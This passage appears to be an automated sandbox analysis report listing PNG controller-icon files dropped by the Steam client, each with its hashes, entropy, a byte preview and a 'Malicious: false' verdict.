Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0310.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22787
Entropy (8bit):	7.888308078687694
Encrypted:	false
SSDEEP:
MD5:	79D75DE44AB081000DBAEBE15F316A4F
SHA1:	EE9DF1F8EE29D276D04DE278BCD3139D6B667E2A
SHA-256:	E2BA556E49C21F5D00181F8797A0DB1F91D3F4E76D66362ECAA3832FAA3E9A31
SHA-512:	94A85813F766080F587D8B85EFFE6DB44719C0CBD67D4862F1498CDB284703F745B6FC14D4A2ECDCAF883AC17F8CFB8AEE18030F39983D9FAB15905C15E5F1E7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0311.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9824
Entropy (8bit):	7.503754768298321
Encrypted:	false
SSDEEP:
MD5:	A769ABBC8CDA9C45556397366DF0DEDA
SHA1:	FD43BD28058425100F1703F8889499B45C70F57A
SHA-256:	7A4ACA0D350EF9E4705B6ACCF6CBA5970902E3DB02513D8206A6FA861CEEFF4C
SHA-512:	F64F75F066CE192D5C1B51D28730BC44AC18D1FCC1FF00951DA360CEF670DD479AE78E3A4E4943B880C36C0A6B8EBD476D74837502B08643D8FA80E8D3F5424E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0312.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12453
Entropy (8bit):	7.61588758036906
Encrypted:	false
SSDEEP:
MD5:	E03C71445A379C1CFA587BD4E0E99C03
SHA1:	73CB6A848F89B157B4F716F031AFB76B954D3C09
SHA-256:	FC37C50D6210F9E2E7708913E44B3C43FB080C53A1CDCFF9FE2A012FFC755CD7
SHA-512:	FE82DC0FF7489C30AC40BD6F7DDEA227AB761F67ACB984573ACE777AB6C88CE8835281EC01110526CAD1004472D0E3007763E7EC5AD0229054E87BD7E3B7B01B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0313.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14825
Entropy (8bit):	7.766254452337815
Encrypted:	false
SSDEEP:
MD5:	461D91A776AF17022FCFFA45E47E1BC9
SHA1:	8895C854080CED86B84AE77549152C496D80D53C
SHA-256:	552D83625D6493404567019D70605B3C39475E02EB2866546E3D15DA73A59FC7
SHA-512:	047D5590AF2871B8B2AF7DE3663AD5D15E07B5E9695ED72DCB813B8DE2C0309313DEBC131C5C70676F0BF01C4FE68403EEA3D97F54D8A1B79DF6C55EB4959F4A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0314.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15456
Entropy (8bit):	7.833748111268381
Encrypted:	false
SSDEEP:
MD5:	AEBA78DCBAEF259FA9FD0C39637AA379
SHA1:	6C0C174D144EBA63CFC9C8CC0A01FD13153696FC
SHA-256:	0C312CA99B2C72D60BBA350BE0D993EA35B45C3BE5DD97DF59DFFA5CBA75C258
SHA-512:	C9CBB6A6E5793BB5AE24F1EB378C6F0A3CB2694D529C3C8B1F753136FBBD4366698F2E00C42E5BDE6FA79FEFCD9715B3CB6EBD043A27EF54C91C75AD8B0EB8D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0315.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14339
Entropy (8bit):	7.820836412439642
Encrypted:	false
SSDEEP:
MD5:	222B7B6B724AB746DC76275C3F9B0A6B
SHA1:	6BA4320A136070C9B66F602D958908B55418E5A0
SHA-256:	A65CE94F33B07BF6094FA7A464A87B7C0525F8E10ED4F30C55C29FD53E711BA7
SHA-512:	F03FACCD2DC3FB8B2EA55C12564246970BB478D6983A49C39852437541AE924B613AB67071CE74C5429E9200826D0B3C5F826893C6BC9D521B3C5E99EE5AA609
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0316.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22754
Entropy (8bit):	7.899350846260161
Encrypted:	false
SSDEEP:
MD5:	767988BDB6F15249A08C7E266F6DD4BA
SHA1:	E1F31791BB87471FD5F0BD9610937BE58E5F9C08
SHA-256:	EE6AD5847D67D0C5BFF0D6E65702A2329BF34247688153456658C76BD98682F8
SHA-512:	AA0FE543B5E8DD9F149A57958A98779B464D8F60844EBA497C0075FD1399F601B8A54E099C89A7012567EE660CDB62BEEB5C6BB860F4053DC375905BDDA7907D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0317.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10154
Entropy (8bit):	7.603047008364499
Encrypted:	false
SSDEEP:
MD5:	4409FADE7F1049D851944B61A6DAC081
SHA1:	FB30A711ECF0A634DB4A0C1C8D765D98A3C1B83A
SHA-256:	48E9653A870AE6587ACF7471314514E464B69BB4118EABD047F1DE07B717C498
SHA-512:	AF5925943476742BB11026A3E2E392F5C222AB2751A9B84CF0D23B565C0A23509F41B5E7C37C7FCCF510F539B0B3DA6B475940E23FE91DCF8ACFEB3D565BFB51
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0318.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14960
Entropy (8bit):	7.833195556512226
Encrypted:	false
SSDEEP:
MD5:	18539076EC0F8C29BEFD60A5E5FF7800
SHA1:	778918D755E20003E896B0DAFA010AE788EB3A2B
SHA-256:	3F91DD1E7633170B025628B38A737364A45E3CC4EE77CB44090D7C8589EE463F
SHA-512:	27019D1F5E213276FD161ADF25BFECC9A4A8C76FDC480B34E0A8B4831676EC3289852CB6AAC50D40D1B6F7E8BA876DB0DF1577423B4C1DF03693B54F7042DE95
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0319.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10604
Entropy (8bit):	7.557547269298372
Encrypted:	false
SSDEEP:
MD5:	A97AE18B052235AC35A9AE1A35A4D828
SHA1:	B5A06C4371BD9303F9FB85DEEE214AF4B8A1EB25
SHA-256:	1A96E78084FFEED4BC95B439913A2329EDE411F56825F10F3824AB80EDD4D01E
SHA-512:	D1132048DE8150E6E868F1447A795405B90E1101BF14547BD58D6F1199CF0FF39D31FFC1EA664B3CA1E0BA274338EFC5A85C5EE746E41078B548EFF1121ED0E3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0320.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12465
Entropy (8bit):	7.821053250553974
Encrypted:	false
SSDEEP:
MD5:	A923FE11EDF2849E666694068ABDFB0D
SHA1:	1F9083F25318FBA39F0F72E697CEC6861EBFFBD9
SHA-256:	67BE71F2CE382C460557CAA29BA672D6520649F0234ABB6D2D08155E8BF7EF99
SHA-512:	85BCD41459FC48EE97DBDC829EAB55494892759A72309099A70CD25CB0B08A95999D1BB809662238109916670016471C4E9C832B0105A478CF70A825511A44A1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0321.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	27742
Entropy (8bit):	7.925002667753732
Encrypted:	false
SSDEEP:
MD5:	28AD153590AB4CF8AA3EEF952BF4A309
SHA1:	964EC6526E860CA8262354802B81245B963B0A09
SHA-256:	ED995D96BFD44603EBC5767AE117F22AD8E60DD0E9CD6A14948C6C1EDAA7626A
SHA-512:	B159D7C1A57A9ED8CA3D10AD575D52A053305141E15F8E64354262E1A2090E22DEEE502FC17BDE82B3022FACB5A22C06090371274BB73C1D50DF6B9BA7BA3357
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0322.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	33110
Entropy (8bit):	7.9257404291945015
Encrypted:	false
SSDEEP:
MD5:	8CF924BFBB1F0EA7FB0B42FB2626FB09
SHA1:	63475E8FA019A84B4B0714917317F5E085F91B3A
SHA-256:	1B70CF0B3C5D78C16DF8B54D4123E4FA0E3E09928B69428D4EBA6E2A75EC27D5
SHA-512:	00B44E1ADD774ED8625F8741406ED8C9833CB9C899B758200BBAE2D44ED6A909A33E360D2A637F311408036BC84ED11F69090D6B5CAD7003129B117CD65475F8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0323.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	26925
Entropy (8bit):	7.885922570348042
Encrypted:	false
SSDEEP:
MD5:	3E0F3A1EC1453A0979E0F6E346504A9C
SHA1:	1EEFD085684D489F6F74E81270C1514AC0C014A3
SHA-256:	24FEC6B7E877F15B9F4189670959B5689F91791E27893812F3C4BBAE086119BF
SHA-512:	7475EFCCD0FDF9CA49E54694ECAA8466E00B2AE26C1218863F0057753C5B23E8276BB565803A12D97F7C32FD8395FD3EBF243142BA88166BD9B0CD494C827798
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T 